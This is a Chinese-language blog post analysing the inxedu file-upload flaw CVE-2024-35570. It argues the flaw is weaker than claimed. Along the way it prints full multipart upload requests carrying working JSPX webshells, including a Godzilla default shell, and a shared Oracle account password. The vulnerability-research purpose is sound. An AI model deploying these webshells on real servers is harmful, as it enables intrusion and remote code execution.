因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

admin 2024年7月30日23:01:08评论98 views字数 11762阅读39分12秒阅读模式

CVE-2024-35570 漏洞分析

看见网上推送CVE-2024-35570 漏洞的相关信息,一时兴起来分析一下漏洞成因

发现是一个利用场景比较苛刻的(water洞)

系统信息

inxedu因酷教育平台

开源地址如下,主要看gitee的官方代码

https://gitee.com/inxeduopen/inxedu

gitee这里也贴出了部署要求:

建议开发者使用以下环境,这样避免版本带来的问题 IDE:eclipse,idea DB:Mysql5.5 JDK:JAVA 7 tomcat:tomcat 7.0.68以上

安装系统

打包、部署的流程可以参考项目里面的使用教程文件夹下的doc

jdk7以上,jdk8其实也行,下载链接:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

oracle共享账号:[email protected] 密码:Oracle0.

mysql5.5:docker run -it --name mysql5 -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 mysql:5.5

tomcat7.0.68 : docker run -it tomcat:7.0.68

导入mysql数据(需要把sql的表名全部换成大写,不然后续使用有点问题)

docker exec -it mysql5 bash
mysql -uroot -proot
source /tmp/demo_inxedu_v2_0_open.sql;

navicat连接查看是否有什么问题

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

修改一下源码的配置文件

再改一下pom.xml

<!-- tomcat plugin -->
<plugin>
    <groupId>org.apache.tomcat.maven</groupId>
    <artifactId>tomcat7-maven-plugin</artifactId>
    <version>2.2</version>
    <configuration>
        <path>/</path>
        <port>80</port>
        <uriEncoding>UTF-8</uriEncoding>
        <url>http://127.0.0.1/manager</url>
        <server>tomcat7</server>
        <contextReloadable>true</contextReloadable>
        <warSourceDirectory>src/main/webapp</warSourceDirectory>
        <contextReloadable>false</contextReloadable>
    </configuration>
</plugin>

设置一下项目结构

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

使用idea的编译器可以打包得到一个war包,我们把这个war包放到tomcat的容器中就可以部署了

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析
docker run -itd --net=host --name tomcat -v /root/inxedu.war:/usr/local/tomcat/webapps/inxedu.war tomcat:7.0.68

跑起来的效果大概如下图(为什么展示后台呢 因为前台的图片资源没加载好,排查了一下原因是因为数据库里的表名是小写的,连接用到的是大写的)

http://192.168.3.102:8080/inxedu/admin

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

批量换一下表名,选中生成的结果,整列复制再放进去执行就可以了

SET @schema_name = 'demo_inxedu_v2_0_open'; -- 数据库名

SELECT CONCAT('RENAME TABLE `', table_name, '` TO `', UPPER(table_name), '`;')
FROM information_schema.tables 
WHERE table_schema = @schema_name;

-- 这会生成所有表的重命名语句,直接执行生成的语句即可完成表名转换。
因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

然后重新导入了一下数据库资源(大小写的表共存),跑起来的前后台效果大概如下图

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

后台因为tomcat部署的原因,解压inxedu.war包的时候出现了路由会存在问题,重新配置端口和tomcat就可以了或者直接这样

 docker run -itd --net=host --name tomcat -v /root/inxedu.war:/usr/local/tomcat/webapps/ROOT.war tomcat:7.0.68

然后删掉原来的ROOT文件夹

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

要调试只需要在/usr/local/tomcat/bin/catalina.sh开头加上

JAVA_OPTS="$JAVA_OPTS -Xrunjdwp:transport=dt_socket,address=0.0.0.0:8000,suspend=n,server=y"

就可以用idea连接目标的8000端口调试了

POC分析

根据CVE-2024-35570的描述简单找找漏洞

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

搜索了一下CVE-2024-35570 漏洞的相关资料,找到了原作者

https://github.com/KakeruJ/CVE/?tab=readme-ov-file

公开的poc如下

POST /image/gok4?&param=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1193235141139104622277612664
Content-Length: 883
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/admin/website/doAddImages
Cookie: JSESSIONID=10EC81B49E27265587A446F32099DBE3; inxedulogin_sys_user_=inxedulogin_sys_user_1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------1193235141139104622277612664
Content-Disposition: form-data; name="uploadfile"; filename="1.jspx"
Content-Type: image/jpeg

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------1193235141139104622277612664--

理论上可以直接定位到这个class文件中,但是我翻了一下inxedu的源码,并没有找到该文件

但是根据漏洞poc的路由gok4来看,漏洞应该是存在的,而且我的环境中路由也是存在的,那看来是我的代码找错了

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

解压编译出来的inxedu.war,在目录inxeduWEB-INFlib下可以找到inxedu-jar.jar

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

拉到jd-gui.jar中查看反编译的源码,在项目中直接search漏洞的关键函数gok4

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

函数代码很简单,访问/image/gok4?=&param=image&fileType=jpg,gif,png,jpeg&pressText=undefined

  @RequestMapping(value = {"/gok4"}, method = {RequestMethod.POST})
  public String gok4(HttpServletRequest request, HttpServletResponse response, @RequestParam(value = "uploadfile", required = true) MultipartFile uploadfile, @RequestParam(value = "param", required = false) String param, @RequestParam(value = "fileType", required = true) String fileType, @RequestParam(value = "pressText", required = false) String pressText) {
    try {
      long maxSize = 4096000L;
      System.out.println(uploadfile.getSize());
      if (uploadfile.getSize() > maxSize)
        return responseErrorData(response, 1, "); 
      String[] type = fileType.split(",");
      setFileTypeList(type);
      String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
      if (fileType.contains(ext) && !"jsp".equals(ext)) {
        String filePath = getPath(request, ext, param);
        File file = new File(getProjectRootDirPath(request) + filePath);
        if (!file.getParentFile().exists())
          file.getParentFile().mkdirs(); 
        uploadfile.transferTo(file);
        return responseData(filePath, 0, ", response);
      } 
      return responseErrorData(response, 1, ");
    } catch (Exception var13) {
      logger.error("gok4()--error", var13);
      return responseErrorData(response, 2, ");
    } 
  }

草草看一下函数,可以发现后缀名不为jsp就可以进行文件写入

那么根据java的特性,Java可以解析JSP(JavaServer Pages)和JSPX(JavaServer Pages XML)只要写入jspx就可以上传webshell了

但是很遗憾,这里上传jpg图片可以

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

直接使用poc来上传jspx木马就是不行

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

仔细看一下判断语句

if (fileType.contains(ext) && !"jsp".equals(ext)) {

可以发现这里要求ext必须在列表fileType中,而fileType其实就是我们传入的参数,那么poc稍作修改就可以使用了

POST /image/gok4?&param=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 192.168.3.102:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308436435515370414691526924874
Content-Length: 230
Origin: http://192.168.3.102:8080
Connection: close
Referer: http://192.168.3.102:8080/admin/website/doUpdateImages/309
Cookie: inxedulogin_sys_user_=inxedulogin_sys_user_1; JSESSIONID=F12B2A21EAD7DF985154060A4371F753
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------308436435515370414691526924874
Content-Disposition: form-data; name="uploadfile"; filename="1.jspx"
Content-Type: image/jpeg

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------308436435515370414691526924874--
因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

那么这里的任意文件写入就成立了,本来想着不只是webshell,也可以上传计划任务文件啥的,但是跟进去一看,文件名直接被编码成了时间戳

  private String getPath(HttpServletRequest request, String ext, String param) {
    String filePath = "/images/upload/";
    if (param != null && param.trim().length() > 0) {
      filePath = filePath + param;
    } else {
      filePath = filePath + CommonConstants.projectName;
    } 
    filePath = filePath + "/" + DateUtils.toString(new Date(), "yyyyMMdd") + "/" + System.currentTimeMillis() + "." + ext;
    return filePath;
  }

而后缀取的是最后一个/或者\前的字符串,所以没办法目录穿越,只能在当前目录下写入

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

最终没什么用的POC

最终poc如下,内容可以自己换,这里是哥斯拉的默认马子

POST /image/gok4?&param=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 192.168.3.102:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308436435515370414691526924874
Content-Length: 2853
Origin: http://192.168.3.102:8080
Connection: close
Referer: http://192.168.3.102:8080/admin/website/doUpdateImages/309
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------308436435515370414691526924874
Content-Disposition: form-data; name="uploadfile"; filename="../../../../2.jspx"
Content-Type: image/jpeg

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------308436435515370414691526924874--

能传马子,但是我的容器好像是不解析的

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析
因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

排查了一下原因,因为项目中默认的web.xml是解析jsp,不解析jspx的,所以利用场景较少,算是比较鸡肋的洞了

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

上服务器把后缀改成jsp,才能正常解析

因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

原文始发于微信公众号(安全光圈):因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日23:01:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析https://cn-sec.com/archives/3016120.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息